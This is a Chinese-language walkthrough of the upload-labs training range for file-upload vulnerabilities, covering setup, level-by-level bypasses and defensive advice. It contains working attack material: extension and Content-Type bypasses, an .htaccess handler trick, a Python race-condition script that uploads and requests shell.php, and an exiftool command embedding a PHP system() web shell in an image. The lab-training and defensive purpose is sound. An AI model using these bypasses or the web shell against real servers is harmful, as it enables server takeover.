1. 项目背景与工具介绍

upload-labs是一个专门用于学习文件上传漏洞的靶场项目,由国内安全研究人员开发维护。它模拟了各种常见的文件上传漏洞场景,包含了从基础到高级的20多个关卡,覆盖了黑名单绕过、白名单绕过、内容检测绕过、条件竞争等典型漏洞类型。

我第一次接触这个靶场是在2018年,当时正在学习Web安全中的文件上传漏洞。市面上虽然有很多理论资料,但缺乏系统的实战环境。upload-labs的出现正好填补了这个空白,它把各种文件上传漏洞的利用场景都做成了一个个独立的关卡,就像打游戏通关一样有趣。

这个靶场最大的特点是它的"渐进式"设计。从最简单的前端验证绕过开始,难度逐步提升,最后甚至会遇到需要组合多种技巧才能突破的复杂场景。每个关卡都代表一类真实环境中可能出现的安全问题,通过动手实践可以深入理解文件上传漏洞的本质。

2. 环境搭建与基础配置

2.1 本地部署方案

推荐使用Docker快速搭建环境,这是目前最便捷的方式:

docker pull c0ny1/upload-labs
docker run -d -p 80:80 c0ny1/upload-labs

如果选择手动部署,需要准备:

  • PHP 5.4+环境
  • Apache/Nginx服务器
  • 将项目文件解压到web目录
  • 确保uploads目录可写

2.2 常见问题排查

初次使用时可能会遇到:

  1. 文件上传后无法访问:检查uploads目录权限(需777)
  2. 关卡无法正常显示:确认PHP版本兼容性
  3. 上传成功但未显示预期效果:清除浏览器缓存再试

提示:建议在虚拟机或隔离环境中运行,避免意外执行恶意代码影响主机安全。

3. 基础关卡解析(Pass-01至Pass-10)

3.1 前端验证绕过(Pass-01)

这是最简单的关卡,只做了前端JS验证。绕过方法有两种:

  1. 禁用浏览器JS执行
  2. 使用Burp Suite拦截修改请求

关键点在于理解前端验证的本质:它只是在客户端进行的检查,服务器端并未做任何防护。这是很多新手开发者常犯的错误。

3.2 黑名单绕过(Pass-05)

这个关卡采用了黑名单机制,禁止上传.php等后缀。但黑名单总有遗漏,可以尝试:

  • .php5、.phtml等变种
  • 大小写混合如.PhP
  • 特殊后缀如.php.

我测试时发现最有效的是.htaccess文件配合自定义解析规则:

AddType application/x-httpd-php .abc

上传后任何.abc文件都会被当作PHP执行。

4. 中级关卡技巧(Pass-11至Pass-16)

4.1 内容类型检测绕过(Pass-13)

这关检查Content-Type是否为image/jpeg等图片类型。虽然看似严格,但只需用Burp修改请求头即可轻松绕过:

Content-Type: image/jpeg

实际环境中,很多CMS仅依赖这个检查,导致高危漏洞。

4.2 条件竞争漏洞(Pass-16)

这是最具挑战性的关卡之一。它先保存上传文件,再检查内容,最后删除可疑文件。利用时间差可以这样攻击:

  1. 持续快速上传webshell
  2. 同时不断访问上传路径
  3. 在删除前命中执行时机

自动化脚本示例:

import requests
import threading

def upload():
    while True:
        requests.post(url, files={'file': open('shell.php','rb')})

def access():
    while True:
        r = requests.get(url+'uploads/shell.php')
        if 'success' in r.text:
            print('Exploit success!')
            exit()

threading.Thread(target=upload).start()
threading.Thread(target=access).start()

5. 高级绕过技术(Pass-17至Pass-20)

5.1 图片马制作与利用

现代CMS常允许图片上传但禁止脚本,这时需要制作图片马:

  1. 使用copy命令合并:
copy normal.jpg /b + shell.php /a webshell.jpg
  1. 或用ExifTool插入Payload:
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg

上传后结合文件包含漏洞触发:

include($_GET['file']);

5.2 二次渲染绕过

这是最难的防御方式,服务端会对图片进行重处理。针对不同格式有不同对策:

  • GIF :保持第一帧不变,在后续帧插入代码
  • PNG :利用IDAT块写入Payload
  • JPG :修改注释段或使用特殊工具如JPG-PHP

我曾花了两天时间研究JPG的绕过,最终发现某些CMS的GD库版本存在处理差异,特定质量参数下可以保留恶意代码。

6. 防御方案与最佳实践

6.1 安全开发建议

根据这些漏洞特点,开发时应该:

  1. 使用白名单而非黑名单
  2. 文件重命名(如MD5值+白名单后缀)
  3. 存储到非Web目录
  4. 限制文件头与内容一致性检查

6.2 运维防护措施

已有系统可以:

  1. 配置Nginx过滤特定内容:
location ~* \.php$ {
    deny all;
}
  1. 定期审计上传目录
  2. 使用安全扫描工具检查

我在实际项目中遇到过因文件上传导致的入侵事件。攻击者上传webshell后,通过中国菜刀工具控制了整个服务器。排查发现开发只做了前端验证,这个教训让我深刻理解了全面防护的重要性。

7. 学习路线与资源推荐

想要系统掌握文件上传漏洞,建议的学习路径:

  1. 先完整通关upload-labs所有关卡
  2. 研究真实CMS漏洞案例(如WordPress插件漏洞)
  3. 参与漏洞赏金项目实战
  4. 阅读OWASP相关指南

进阶可以尝试:

  • 编写自动化检测工具
  • 研究WAF绕过技巧
  • 探索新型防御机制的绕过方法

这个靶场我反复练习了至少5遍,每次都有新收获。现在面试Web安全岗位时,文件上传漏洞相关的问题我都能对答如流,这都得益于upload-labs的实战训练。

Logo

北京人形旗下天工造物具身智能开源社区,聚焦具身天工与慧思开物两大平台

更多推荐